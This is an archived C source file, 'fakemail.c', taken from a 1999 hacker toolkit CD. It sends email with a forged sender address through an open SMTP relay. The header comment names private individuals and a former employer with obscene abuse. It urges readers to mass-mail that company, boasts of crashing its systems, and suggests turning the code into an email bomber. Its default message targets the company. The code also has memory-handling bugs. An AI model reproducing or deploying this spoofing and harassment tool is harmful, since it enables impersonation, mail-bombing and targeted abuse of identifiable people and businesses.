home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Unix
/
c-src
/
fakemail.c
< prev
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
5KB
|
217 lines
/* coded by Konker/Nofix; i know its old news but, if your lame and shit..
********************************************************************
major FUCK YOU to Bluffs run, Rory DeSantiago..youll get yours..
Mark Pendtgraft you fuckin stuck up piece of shit.
********************************************************************
Use this at your own risk, i will not be held responsible for it. or what
you email people with it
You can edit this really simple and make a email bomber or what
ever you want to.
if you do please email me: konker@radiks.net or get me on icq sometime.
Email Me at konker@radiks.net ; please no anon mail:)
my icq #10891673, please dont message bomb me:) latez...
Ironicly this was made on the same day i quit/lost my job at Bluffs Run, that
fuckin place can burn in hell, for anyone that wants a cool project or help
me, mass mail bluffsrun@bluffsrun.com ive had enuff fun crashing them
everyday....seems there stupid ass programmer/hardware maintnece is a fuckin
shit...fuck them......
** major fuck you to rory desantiago and marc pendtgraft **
...heh i always was the best person that worked there..:). They fuck everyone
over.. that dont have tits and a nice ass:) Oh well...off to program...
*/
/* CHANGE char *host; to either your own mail server or some other isp's mail server */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#define MAXDATABUF 10000
#define PORT 25
void usage(char *progname);
void sc(int com);
char *gethost(char *ea);
struct sockaddr_in addr;
struct hostent *he;
char *host = "top.net",
*from,
*recieve,
*msg,
*sendcom;
int i,
sock;
//memset( &sin, 0, sizeof( sin ) ) ;
//memset( sendcom, 0, sizeof( sendcom ) ) ;
//memset( buf, 0, sizeof( buf ) ) ;
//memset(&addr, 0, sizeof(addr));
int main(int argc, char *argv[]) {
if(argc < 3) {
usage(argv[0]);
exit(1);
}
if(argc == 2)
msg = "Death On BluffsRun.com\n\n\n\n";
else
msg = argv[3];
from = argv[1];
recieve = argv[2];
//host = gethost(argv[1]);
if((he = gethostbyname(host)) == NULL) {
printf("\n\t** Invalid host name: %s **\n", host);
return(0);
}
sock = socket(AF_INET, SOCK_STREAM, 0); /*create socket*/
if(sock < 0) {
printf("\n\t** Socket could not be created **\n");
exit(1); /*if socket cannot be created exit*/
}
/*assign socket structs*/
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(addr.sin_zero), 8);
if(connect(sock, &addr, sizeof(addr)) < 0) {
printf("\n\t** could not connect to %s**\n", host);
exit(1);
}
printf("\n*******by Konker icq 10891673*******\n");
printf("\n*********************************************************\n");
printf("* FUCK BLUFFS RUN * FuCK RorY DeSantiago * Fuck DAve *\n");
printf("*********************************************************\n");
printf("Mailing %s, From %s\n\n", argv[2], argv[1]);
fflush(stdout);
for(i = 1; i < 11; i++){
/* printf("%i\n", i); */
sc(i);
}
printf("DONE!!!!!!!\n");
close(sock);
return(0);
}
void usage(char *progname) {
printf("Death On BluffsRun.Com");
printf("\n usage: %s from@bluffsrun.com to@host.com \"we fuck people over\" \n\n", progname);
}
void sc(int com) {
/* char buf[MAXDATABUF]; */
int sendbytes = 0;
/* recvbytes = 0; */
switch(com) {
case 1: {
sendcom = malloc(5+strlen(host) + 1);
strcpy(sendcom, "HELO ");
strcat(sendcom, host);
break;
}
case 2: {
sendcom = malloc(10+strlen(from) + 1);
strcpy(sendcom, "MAIL FROM:");
strcat(sendcom, from);
break;
}
case 3: {
sendcom = malloc(8 + strlen(recieve) + 1);
strcpy(sendcom, "RCPT TO:");
strcat(sendcom, recieve);
break;
}
case 4: {
sendcom = malloc(5);
strcpy(sendcom, "DATA");
break;
}
case 5: {
sendcom = malloc(6+strlen(from));
strcpy(sendcom, "From: ");
strcat(sendcom, from);
break;
}
case 6: {
sendcom = malloc(4 + strlen(recieve) + 1);
strcpy(sendcom, "To: ");
strcat(sendcom, recieve);
break;
}
case 7: {
sendcom = malloc(16+1);
strcpy(sendcom, "Subject: Hacking");
break;
}
case 8: {
sendcom = malloc(10+strlen(from) + 1);
strcpy(sendcom, "Reply-To: ");
strcat(sendcom, from);
break;
}
case 9: {
sendcom = malloc(strlen(msg) + 1);
strcpy(sendcom, msg);
break;
}
case 10: {
sendcom = malloc(2);
strcpy(sendcom, "\n.");
}
}
sendcom[strlen(sendcom)] = '\n';
sendbytes = send(sock, sendcom, strlen(sendcom), 0);
if(sendbytes < 0) {
printf("\n\t** Error Writing To Socket\n");
exit(0);
}
else
fflush(stdout);
usleep(5);
printf("#");
memset(sendcom, 0, sizeof(sendcom));
/* recvbytes = recv(sock, buf, MAXDATABUF, 0);
if(recvbytes < 0) {
printf("\n\t** Error Receiving Text **\n");
exit(0);
}
else {
printf("%s", buf);
memset( buf, 0, sizeof( buf ) ) ;
} */
}
char *gethost(char *ea) {
char *tmp;
tmp = malloc(strlen(host));
tmp = strchr(ea, '@');
return(&ea[strlen(ea) - strlen(tmp) + 1]);
}